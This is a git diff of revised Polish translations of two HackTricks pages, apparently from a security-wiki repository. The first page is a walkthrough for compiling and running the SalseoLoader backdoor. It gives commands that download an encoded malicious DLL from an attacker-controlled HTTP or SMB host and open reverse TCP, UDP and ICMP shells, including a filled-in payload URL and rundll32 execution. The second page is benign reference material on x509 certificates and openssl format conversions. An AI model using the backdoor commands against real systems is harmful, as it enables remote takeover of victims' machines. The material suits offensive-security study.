||||
|
||||
## **Wykonaj backdoor**
|
||||
## **Wykonaj backdoora**
|
||||
|
||||
### **Uzyskiwanie odwrotnego powłoki TCP (pobieranie zakodowanego dll przez HTTP)**
|
||||
### **Uzyskanie odwrotnej powłoki TCP (pobieranie zakodowanego dll przez HTTP)**
|
||||
|
||||
Pamiętaj, aby uruchomić nc jako nasłuchiwacz odwrotnej powłoki oraz serwer HTTP do obsługi zakodowanego evilsalsa.
|
||||
Pamiętaj, aby uruchomić nc jako nasłuchującego powłokę odwrotną oraz serwer HTTP do serwowania zakodowanego evilsalsa.
|
||||
```
|
||||
SalseoLoader.exe password http://<Attacker-IP>/evilsalsa.dll.txt reversetcp <Attacker-IP> <Port>
|
||||
```
|
||||
### **Uzyskiwanie odwrotnego powłoki UDP (pobieranie zakodowanego pliku dll przez SMB)**
|
||||
### **Uzyskiwanie odwrotnej powłoki UDP (pobieranie zakodowanej dll przez SMB)**
|
||||
|
||||
Pamiętaj, aby uruchomić nc jako nasłuchiwacz odwrotnej powłoki oraz serwer SMB do udostępniania zakodowanego pliku evilsalsa (impacket-smbserver).
|
||||
Pamiętaj, aby uruchomić nc jako nasłuchującego powłokę odwrotną oraz serwer SMB, aby udostępnić zakodowaną evilsalsa (impacket-smbserver).
|
||||
```
|
||||
SalseoLoader.exe password \\<Attacker-IP>/folder/evilsalsa.dll.txt reverseudp <Attacker-IP> <Port>
|
||||
```
|
||||
### **Uzyskiwanie odwrotnego powłoki ICMP (zakodowany plik DLL już w ofierze)**
|
||||
### **Uzyskiwanie odwrotnego powłoki ICMP (zakodowana dll już wewnątrz ofiary)**
|
||||
|
||||
**Tym razem potrzebujesz specjalnego narzędzia po stronie klienta, aby odebrać odwrotną powłokę. Pobierz:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh)
|
||||
**Tym razem potrzebujesz specjalnego narzędzia w kliencie, aby odebrać odwrotną powłokę. Pobierz:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh)
|
||||
|
||||
#### **Wyłącz odpowiedzi ICMP:**
|
||||
```
|
||||
|
@ -77,13 +78,13 @@ sysctl -w net.ipv4.icmp_echo_ignore_all=0
|
|||
```
|
||||
python icmpsh_m.py "<Attacker-IP>" "<Victm-IP>"
|
||||
```
|
||||
#### Wewnątrz ofiary, wykonajmy rzecz zwaną salseo:
|
||||
#### Wewnątrz ofiary, wykonajmy rzecz salseo:
|
||||
```
|
||||
SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp <Attacker-IP>
|
||||
```
|
||||
## Kompilowanie SalseoLoader jako DLL eksportujący funkcję główną
|
||||
## Kompilowanie SalseoLoader jako DLL eksportującego funkcję główną
|
||||
|
||||
Otwórz projekt SalseoLoader za pomocą programu Visual Studio.
|
||||
Otwórz projekt SalseoLoader w Visual Studio.
|
||||
|
||||
### Dodaj przed funkcją główną: \[DllExport]
|
||||
|
||||
|
@ -95,59 +96,59 @@ Otwórz projekt SalseoLoader za pomocą programu Visual Studio.
|
|||
|
||||
![](<../.gitbook/assets/image (881).png>)
|
||||
|
||||
#### **Wyszukaj pakiet DllExport (używając karty Przeglądaj) i naciśnij Zainstaluj (i zaakceptuj wyskakujące okno)**
|
||||
#### **Szukaj pakietu DllExport (używając zakładki Przeglądaj), a następnie naciśnij Zainstaluj (i zaakceptuj okno popup)**
|
||||
|
||||
![](<../.gitbook/assets/image (100).png>)
|
||||
|
||||
W folderze projektu pojawiły się pliki: **DllExport.bat** i **DllExport\_Configure.bat**
|
||||
|
||||
### **O**dinstaluj DllExport
|
||||
### **U**ninstaluj DllExport
|
||||
|
||||
Naciśnij **Odinstaluj** (tak, to dziwne, ale uwierz mi, jest to konieczne)
|
||||
Naciśnij **Odinstaluj** (tak, to dziwne, ale uwierz mi, to konieczne)
|
||||
|
||||
![](<../.gitbook/assets/image (97).png>)
|
||||
|
||||
### **Zamknij Visual Studio i wykonaj DllExport\_configure**
|
||||
### **Zamknij Visual Studio i uruchom DllExport\_configure**
|
||||
|
||||
Po prostu **zamknij** Visual Studio
|
||||
|
||||
Następnie przejdź do folderu **SalseoLoader** i **wykonaj plik DllExport\_Configure.bat**
|
||||
Następnie przejdź do swojego **folderu SalseoLoader** i **uruchom DllExport\_Configure.bat**
|
||||
|
||||
Wybierz **x64** (jeśli zamierzasz użyć go wewnątrz x64, tak było w moim przypadku), wybierz **System.Runtime.InteropServices** (wewnątrz **Przestrzeń nazw dla DllExport**) i naciśnij **Zastosuj**
|
||||
Wybierz **x64** (jeśli zamierzasz używać go w środowisku x64, tak było w moim przypadku), wybierz **System.Runtime.InteropServices** (w **Namespace for DllExport**) i naciśnij **Zastosuj**
|
||||
|
||||
![](<../.gitbook/assets/image (882).png>)
|
||||
|
||||
### **Otwórz projekt ponownie w Visual Studio**
|
||||
|
||||
**\[DllExport]** nie powinien być już oznaczony jako błąd
|
||||
**\[DllExport]** nie powinno być już oznaczone jako błąd
|
||||
|
||||
![](<../.gitbook/assets/image (670).png>)
|
||||
|
||||
### Zbuduj rozwiązanie
|
||||
|
||||
Wybierz **Typ wyjściowy = Biblioteka klas** (Projekt --> Właściwości SalseoLoader --> Aplikacja --> Typ wyjścia = Biblioteka klas)
|
||||
Wybierz **Typ wyjścia = Biblioteka klas** (Projekt --> Właściwości SalseoLoader --> Aplikacja --> Typ wyjścia = Biblioteka klas)
|
||||
|
||||
![](<../.gitbook/assets/image (847).png>)
|
||||
|
||||
Wybierz **platformę x64** (Projekt --> Właściwości SalseoLoader --> Buduj --> Platforma docelowa = x64)
|
||||
Wybierz **platformę x64** (Projekt --> Właściwości SalseoLoader --> Budowanie --> Cel platformy = x64)
|
||||
|
||||
![](<../.gitbook/assets/image (285).png>)
|
||||
|
||||
Aby **zbudować** rozwiązanie: Buduj --> Zbuduj rozwiązanie (W konsoli wyjściowej pojawi się ścieżka nowego pliku DLL)
|
||||
Aby **zbudować** rozwiązanie: Buduj --> Zbuduj rozwiązanie (W konsoli wyjściowej pojawi się ścieżka do nowego DLL)
|
||||
|
||||
### Przetestuj wygenerowane Dll
|
||||
|
||||
Skopiuj i wklej plik DLL tam, gdzie chcesz go przetestować.
|
||||
Skopiuj i wklej Dll tam, gdzie chcesz go przetestować.
|
||||
|
||||
Wykonaj:
|
||||
```
|
||||
rundll32.exe SalseoLoader.dll,main
|
||||
```
|
||||
Jeśli nie pojawi się żaden błąd, prawdopodobnie masz działające DLL!
|
||||
Jeśli nie pojawi się błąd, prawdopodobnie masz funkcjonalny DLL!!
|
||||
|
||||
## Uzyskaj powłokę, korzystając z DLL
|
||||
## Uzyskaj powłokę za pomocą DLL
|
||||
|
||||
Nie zapomnij użyć **serwera HTTP** i ustawić **nasłuchiwacza nc**
|
||||
Nie zapomnij użyć **serwera** **HTTP** i ustawić **nasłuchiwacza** **nc**
|
||||
|
||||
### Powershell
|
||||
```
|
||||
|
@ -159,8 +160,6 @@ $env:shell="reversetcp"
|
|||
rundll32.exe SalseoLoader.dll,main
|
||||
```
|
||||
### CMD
|
||||
|
||||
### Wiersz poleceń
|
||||
```
|
||||
set pass=password
|
||||
set payload=http://10.2.0.5/evilsalsax64.dll.txt
|
||||
|
@ -169,16 +168,17 @@ set lport=1337
|
|||
set shell=reversetcp
|
||||
rundll32.exe SalseoLoader.dll,main
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF** sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na githubie.
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,58 +1,59 @@
|
|||
# Certyfikaty
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Dowiedz się, jak hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||||
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Użyj [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=certificates), aby łatwo budować i **automatyzować przepływy pracy** zasilane przez najbardziej zaawansowane narzędzia społecznościowe na świecie.\
|
||||
Otrzymaj dostęp już dziś:
|
||||
Użyj [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=certificates), aby łatwo budować i **automatyzować przepływy pracy** zasilane przez **najbardziej zaawansowane** narzędzia społecznościowe na świecie.\
|
||||
Uzyskaj dostęp już dziś:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=certificates" %}
|
||||
|
||||
## Co to jest Certyfikat
|
||||
## Czym jest certyfikat
|
||||
|
||||
**Certyfikat klucza publicznego** to cyfrowe ID używane w kryptografii do potwierdzenia, że ktoś jest właścicielem klucza publicznego. Zawiera szczegóły klucza, tożsamość właściciela (podmiot) i cyfrowy podpis od zaufanego organu (wydawcy). Jeśli oprogramowanie ufa wydawcy i podpis jest ważny, możliwa jest bezpieczna komunikacja z właścicielem klucza.
|
||||
**Certyfikat klucza publicznego** to cyfrowy identyfikator używany w kryptografii do udowodnienia, że ktoś posiada klucz publiczny. Zawiera szczegóły klucza, tożsamość właściciela (temat) oraz podpis cyfrowy od zaufanej instytucji (wydawcy). Jeśli oprogramowanie ufa wydawcy, a podpis jest ważny, możliwa jest bezpieczna komunikacja z właścicielem klucza.
|
||||
|
||||
Certyfikaty są głównie wydawane przez [organizacje certyfikujące](https://en.wikipedia.org/wiki/Certificate\_authority) (CAs) w konfiguracji [infrastruktury klucza publicznego](https://en.wikipedia.org/wiki/Public-key\_infrastructure) (PKI). Inną metodą jest [sieć zaufania](https://en.wikipedia.org/wiki/Web\_of\_trust), gdzie użytkownicy bezpośrednio weryfikują klucze innych. Powszechnym formatem certyfikatów jest [X.509](https://en.wikipedia.org/wiki/X.509), który może być dostosowany do konkretnych potrzeb, zgodnie z RFC 5280.
|
||||
Certyfikaty są głównie wydawane przez [władze certyfikacyjne](https://en.wikipedia.org/wiki/Certificate\_authority) (CA) w ramach [infrastruktury klucza publicznego](https://en.wikipedia.org/wiki/Public-key\_infrastructure) (PKI). Inną metodą jest [sieć zaufania](https://en.wikipedia.org/wiki/Web\_of\_trust), w której użytkownicy bezpośrednio weryfikują klucze innych. Powszechnym formatem certyfikatów jest [X.509](https://en.wikipedia.org/wiki/X.509), który można dostosować do specyficznych potrzeb, jak opisano w RFC 5280.
|
||||
|
||||
## Wspólne Pola x509
|
||||
## x509 Wspólne pola
|
||||
|
||||
### **Wspólne Pola w Certyfikatach x509**
|
||||
### **Wspólne pola w certyfikatach x509**
|
||||
|
||||
W certyfikatach x509 kilka **pól** odgrywa kluczową rolę w zapewnieniu ważności i bezpieczeństwa certyfikatu. Oto ich rozbudowa:
|
||||
W certyfikatach x509 kilka **pól** odgrywa kluczowe role w zapewnieniu ważności i bezpieczeństwa certyfikatu. Oto podział tych pól:
|
||||
|
||||
* **Numer Wersji** oznacza wersję formatu x509.
|
||||
* **Numer Seryjny** jednoznacznie identyfikuje certyfikat w systemie Organizacji Certyfikującej (CA), głównie do śledzenia unieważnień.
|
||||
* Pole **Podmiotu** reprezentuje właściciela certyfikatu, który może być maszyną, osobą fizyczną lub organizacją. Zawiera szczegółowe identyfikatory, takie jak:
|
||||
* **Nazwa Powszechna (CN)**: Domeny objęte certyfikatem.
|
||||
* **Kraj (C)**, **Miejscowość (L)**, **Stan lub Prowincja (ST, S, lub P)**, **Organizacja (O)** i **Jednostka Organizacyjna (OU)** dostarczają szczegółów geograficznych i organizacyjnych.
|
||||
* **Nazwa Wyróżniająca (DN)** zawiera pełną identyfikację podmiotu.
|
||||
* **Wydawca** określa, kto zweryfikował i podpisał certyfikat, zawierając podobne podpola jak Podmiot dla CA.
|
||||
* **Okres Ważności** jest oznaczony znacznikami **Nie Przed** i **Nie Po**, zapewniając, że certyfikat nie jest używany przed lub po określonej dacie.
|
||||
* Sekcja **Klucza Publicznego**, kluczowa dla bezpieczeństwa certyfikatu, określa algorytm, rozmiar i inne techniczne szczegóły klucza publicznego.
|
||||
* **Rozszerzenia x509v3** zwiększają funkcjonalność certyfikatu, określając **Użycie Klucza**, **Rozszerzone Użycie Klucza**, **Alternatywną Nazwę Podmiotu** i inne właściwości, aby dostroić zastosowanie certyfikatu.
|
||||
* **Numer wersji** oznacza wersję formatu x509.
|
||||
* **Numer seryjny** unikalnie identyfikuje certyfikat w systemie Władzy Certyfikacyjnej (CA), głównie do śledzenia unieważnień.
|
||||
* Pole **Subject** reprezentuje właściciela certyfikatu, którym może być maszyna, osoba lub organizacja. Zawiera szczegółową identyfikację, taką jak:
|
||||
* **Common Name (CN)**: Domeny objęte certyfikatem.
|
||||
* **Kraj (C)**, **Lokalizacja (L)**, **Stan lub Prowincja (ST, S lub P)**, **Organizacja (O)** i **Jednostka Organizacyjna (OU)** dostarczają szczegóły geograficzne i organizacyjne.
|
||||
* **Distinguished Name (DN)** obejmuje pełną identyfikację podmiotu.
|
||||
* **Issuer** szczegółowo opisuje, kto zweryfikował i podpisał certyfikat, w tym podobne podpola jak Subject dla CA.
|
||||
* **Okres ważności** oznaczony jest znacznikami **Not Before** i **Not After**, zapewniając, że certyfikat nie jest używany przed lub po określonej dacie.
|
||||
* Sekcja **Public Key**, kluczowa dla bezpieczeństwa certyfikatu, określa algorytm, rozmiar i inne szczegóły techniczne klucza publicznego.
|
||||
* **Rozszerzenia x509v3** zwiększają funkcjonalność certyfikatu, określając **Key Usage**, **Extended Key Usage**, **Subject Alternative Name** i inne właściwości, aby dostosować zastosowanie certyfikatu.
|
||||
|
||||
#### **Użycie Klucza i Rozszerzenia**
|
||||
#### **Key Usage i rozszerzenia**
|
||||
|
||||
* **Użycie Klucza** identyfikuje zastosowania kryptograficzne klucza publicznego, takie jak podpisywanie cyfrowe lub szyfrowanie klucza.
|
||||
* **Rozszerzone Użycie Klucza** dalszo zawęża przypadki użycia certyfikatu, np. do uwierzytelniania serwera TLS.
|
||||
* **Alternatywna Nazwa Podmiotu** i **Podstawowy Ograniczenie** definiują dodatkowe nazwy hostów objęte certyfikatem i czy jest to certyfikat CA czy jednostki końcowej.
|
||||
* Identyfikatory, takie jak **Identyfikator Klucza Podmiotu** i **Identyfikator Klucza Władzy**, zapewniają unikalność i możliwość śledzenia kluczy.
|
||||
* **Dostęp do Informacji o Władzy** i **Punkty Dystrybucji Listy Unieważnień (CRL)** zapewniają ścieżki do weryfikacji wydającego CA i sprawdzenia statusu unieważnienia certyfikatu.
|
||||
* **CT Precertificate SCTs** oferują dzienniki transparentności, kluczowe dla zaufania publicznego do certyfikatu.
|
||||
* **Key Usage** identyfikuje kryptograficzne zastosowania klucza publicznego, takie jak podpis cyfrowy lub szyfrowanie klucza.
|
||||
* **Extended Key Usage** dodatkowo zawęża przypadki użycia certyfikatu, np. do uwierzytelniania serwera TLS.
|
||||
* **Subject Alternative Name** i **Basic Constraint** definiują dodatkowe nazwy hostów objęte certyfikatem oraz czy jest to certyfikat CA czy certyfikat końcowy.
|
||||
* Identyfikatory takie jak **Subject Key Identifier** i **Authority Key Identifier** zapewniają unikalność i śledzenie kluczy.
|
||||
* **Authority Information Access** i **CRL Distribution Points** dostarczają ścieżek do weryfikacji wydającej CA i sprawdzenia statusu unieważnienia certyfikatu.
|
||||
* **CT Precertificate SCTs** oferują dzienniki przejrzystości, kluczowe dla publicznego zaufania do certyfikatu.
|
||||
```python
|
||||
# Example of accessing and using x509 certificate fields programmatically:
|
||||
from cryptography import x509
|
||||
|
@ -74,25 +75,27 @@ print(f"Issuer: {issuer}")
|
|||
print(f"Subject: {subject}")
|
||||
print(f"Public Key: {public_key}")
|
||||
```
|
||||
### **Różnica między punktami dystrybucji OCSP a listami CRL**
|
||||
### **Różnica między OCSP a punktami dystrybucji CRL**
|
||||
|
||||
**OCSP** (**RFC 2560**) polega na współpracy klienta i respondera w celu sprawdzenia, czy certyfikat klucza publicznego został unieważniony, bez konieczności pobierania pełnej **CRL**. Ta metoda jest bardziej wydajna niż tradycyjna **CRL**, która zawiera listę unieważnionych numerów seryjnych certyfikatów, ale wymaga pobrania potencjalnie dużego pliku. Listy CRL mogą zawierać do 512 wpisów. Więcej szczegółów dostępnych jest [tutaj](https://www.arubanetworks.com/techdocs/ArubaOS%206\_3\_1\_Web\_Help/Content/ArubaFrameStyles/CertRevocation/About\_OCSP\_and\_CRL.htm).
|
||||
**OCSP** (**RFC 2560**) polega na współpracy klienta i respondenta w celu sprawdzenia, czy cyfrowy certyfikat klucza publicznego został unieważniony, bez potrzeby pobierania pełnej **CRL**. Ta metoda jest bardziej efektywna niż tradycyjna **CRL**, która dostarcza listę unieważnionych numerów seryjnych certyfikatów, ale wymaga pobrania potencjalnie dużego pliku. CRL mogą zawierać do 512 wpisów. Więcej szczegółów można znaleźć [tutaj](https://www.arubanetworks.com/techdocs/ArubaOS%206\_3\_1\_Web\_Help/Content/ArubaFrameStyles/CertRevocation/About\_OCSP\_and\_CRL.htm).
|
||||
|
||||
### **Co to jest Transparentność Certyfikatów**
|
||||
### **Czym jest przejrzystość certyfikatów**
|
||||
|
||||
Transparentność Certyfikatów pomaga zwalczać zagrożenia związane z certyfikatami, zapewniając, że wydanie i istnienie certyfikatów SSL są widoczne dla właścicieli domen, CA i użytkowników. Jej cele to:
|
||||
Przejrzystość certyfikatów pomaga w zwalczaniu zagrożeń związanych z certyfikatami, zapewniając, że wydanie i istnienie certyfikatów SSL są widoczne dla właścicieli domen, CA i użytkowników. Jej cele to:
|
||||
|
||||
* Zapobieganie wydawaniu certyfikatów SSL dla domeny bez wiedzy właściciela domeny przez CA.
|
||||
* Ustanowienie otwartego systemu audytu do śledzenia certyfikatów wydanych błędnie lub złośliwie.
|
||||
* Zapobieganie wydawaniu certyfikatów SSL dla domeny bez wiedzy właściciela domeny.
|
||||
* Ustanowienie otwartego systemu audytowego do śledzenia błędnie lub złośliwie wydanych certyfikatów.
|
||||
* Ochrona użytkowników przed fałszywymi certyfikatami.
|
||||
|
||||
#### **Rejestry Certyfikatów**
|
||||
#### **Logi certyfikatów**
|
||||
|
||||
Rejestry certyfikatów są publicznie audytowalnymi, tylko do odczytu rekordami certyfikatów, utrzymywanymi przez usługi sieciowe. Te rejestry dostarczają dowodów kryptograficznych do celów audytu. Zarówno organy wydające certyfikaty, jak i publiczność, mogą przesyłać certyfikaty do tych rejestrów lub zapytywać o weryfikację. Chociaż dokładna liczba serwerów rejestru nie jest ustalona, spodziewa się, że będzie ich mniej niż tysiąc na całym świecie. Te serwery mogą być niezależnie zarządzane przez CA, dostawców usług internetowych lub dowolną zainteresowaną jednostkę.
|
||||
Logi certyfikatów to publicznie audytowalne, tylko do dopisywania rejestry certyfikatów, prowadzone przez usługi sieciowe. Logi te dostarczają dowodów kryptograficznych do celów audytowych. Zarówno organy wydające, jak i publiczność mogą przesyłać certyfikaty do tych logów lub zapytywać je w celu weryfikacji. Chociaż dokładna liczba serwerów logów nie jest ustalona, oczekuje się, że będzie ich mniej niż tysiąc na całym świecie. Serwery te mogą być zarządzane niezależnie przez CA, ISP lub jakąkolwiek zainteresowaną jednostkę.
|
||||
|
||||
#### **Zapytanie**
|
||||
|
||||
Aby sprawdzić rejestry Transparentności Certyfikatów dla dowolnej domeny, odwiedź [https://crt.sh/](https://crt.sh).
|
||||
Aby zbadać logi przejrzystości certyfikatów dla dowolnej domeny, odwiedź [https://crt.sh/](https://crt.sh).
|
||||
|
||||
Istnieją różne formaty przechowywania certyfikatów, z których każdy ma swoje zastosowania i kompatybilność. To podsumowanie obejmuje główne formaty i dostarcza wskazówek dotyczących konwersji między nimi.
|
||||
|
||||
## **Formaty**
|
||||
|
||||
|
@ -101,72 +104,72 @@ Aby sprawdzić rejestry Transparentności Certyfikatów dla dowolnej domeny, odw
|
|||
* Najczęściej używany format dla certyfikatów.
|
||||
* Wymaga oddzielnych plików dla certyfikatów i kluczy prywatnych, zakodowanych w Base64 ASCII.
|
||||
* Powszechne rozszerzenia: .cer, .crt, .pem, .key.
|
||||
* Głównie używany przez serwery Apache i podobne.
|
||||
* Głównie używany przez Apache i podobne serwery.
|
||||
|
||||
### **Format DER**
|
||||
|
||||
* Format binarny certyfikatów.
|
||||
* Brak instrukcji "BEGIN/END CERTIFICATE" znalezionych w plikach PEM.
|
||||
* Brak "BEGIN/END CERTIFICATE" znajdujących się w plikach PEM.
|
||||
* Powszechne rozszerzenia: .cer, .der.
|
||||
* Często używany w platformach Java.
|
||||
* Często używany z platformami Java.
|
||||
|
||||
### **Format P7B/PKCS#7**
|
||||
|
||||
* Przechowywany w Base64 ASCII, z rozszerzeniami .p7b lub .p7c.
|
||||
* Zawiera tylko certyfikaty i łańcuchy certyfikatów, pomijając klucz prywatny.
|
||||
* Obsługiwany przez systemy Microsoft Windows i Java Tomcat.
|
||||
* Zawiera tylko certyfikaty i certyfikaty łańcucha, wykluczając klucz prywatny.
|
||||
* Obsługiwany przez Microsoft Windows i Java Tomcat.
|
||||
|
||||
### **Format PFX/P12/PKCS#12**
|
||||
|
||||
* Format binarny, który łączy certyfikaty serwera, certyfikaty pośrednie i klucze prywatne w jednym pliku.
|
||||
* Format binarny, który kapsułkuje certyfikaty serwera, certyfikaty pośrednie i klucze prywatne w jednym pliku.
|
||||
* Rozszerzenia: .pfx, .p12.
|
||||
* Głównie używany w systemie Windows do importu i eksportu certyfikatów.
|
||||
|
||||
### **Konwersje Formatów**
|
||||
### **Konwersja formatów**
|
||||
|
||||
**Konwersje PEM** są istotne dla kompatybilności:
|
||||
**Konwersje PEM** są niezbędne dla kompatybilności:
|
||||
|
||||
* **x509 do PEM**
|
||||
```bash
|
||||
openssl x509 -in certificatename.cer -outform PEM -out certificatename.pem
|
||||
```
|
||||
* **PEM na DER**
|
||||
* **PEM do DER**
|
||||
```bash
|
||||
openssl x509 -outform der -in certificatename.pem -out certificatename.der
|
||||
```
|
||||
* **DER to PEM**
|
||||
* **DER do PEM**
|
||||
```bash
|
||||
openssl x509 -inform der -in certificatename.der -out certificatename.pem
|
||||
```
|
||||
* **PEM na P7B**
|
||||
* **PEM do P7B**
|
||||
```bash
|
||||
openssl crl2pkcs7 -nocrl -certfile certificatename.pem -out certificatename.p7b -certfile CACert.cer
|
||||
```
|
||||
* **PKCS7 to PEM**
|
||||
* **PKCS7 do PEM**
|
||||
```bash
|
||||
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.pem
|
||||
```
|
||||
**Konwersje PFX** są kluczowe dla zarządzania certyfikatami w systemie Windows:
|
||||
|
||||
* **PFX na PEM**
|
||||
* **PFX do PEM**
|
||||
```bash
|
||||
openssl pkcs12 -in certificatename.pfx -out certificatename.pem
|
||||
```
|
||||
* **PFX do PKCS#8** wymaga dwóch kroków:
|
||||
1. Konwertuj PFX do PEM
|
||||
* **PFX do PKCS#8** obejmuje dwa kroki:
|
||||
1. Konwersja PFX na PEM
|
||||
```bash
|
||||
openssl pkcs12 -in certificatename.pfx -nocerts -nodes -out certificatename.pem
|
||||
```
|
||||
2. Konwertowanie PEM na PKCS8
|
||||
2. Konwertuj PEM na PKCS8
|
||||
```bash
|
||||
openSSL pkcs8 -in certificatename.pem -topk8 -nocrypt -out certificatename.pk8
|
||||
```
|
||||
* **P7B do PFX** wymaga również dwóch poleceń:
|
||||
1. Konwertuj P7B do CER
|
||||
1. Konwertuj P7B na CER
|
||||
```bash
|
||||
openssl pkcs7 -print_certs -in certificatename.p7b -out certificatename.cer
|
||||
```
|
||||
2. Konwertowanie plików CER i klucza prywatnego na PFX
|
||||
2. Konwertuj CER i klucz prywatny na PFX
|
||||
```bash
|
||||
openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certificatename.pfx -certfile cacert.cer
|
||||
```
|
||||
|
@ -175,21 +178,22 @@ openssl pkcs12 -export -in certificatename.cer -inkey privateKey.key -out certif
|
|||
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Użyj [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=certificates), aby łatwo budować i **automatyzować przepływy pracy** z wykorzystaniem najbardziej zaawansowanych narzędzi społecznościowych na świecie.\
|
||||
Otrzymaj dostęp już dziś:
|
||||
Użyj [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=certificates), aby łatwo budować i **automatyzować przepływy pracy** zasilane przez **najbardziej zaawansowane** narzędzia społecznościowe na świecie.\
|
||||
Uzyskaj dostęp już dziś:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=certificates" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Dowiedz się, jak hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
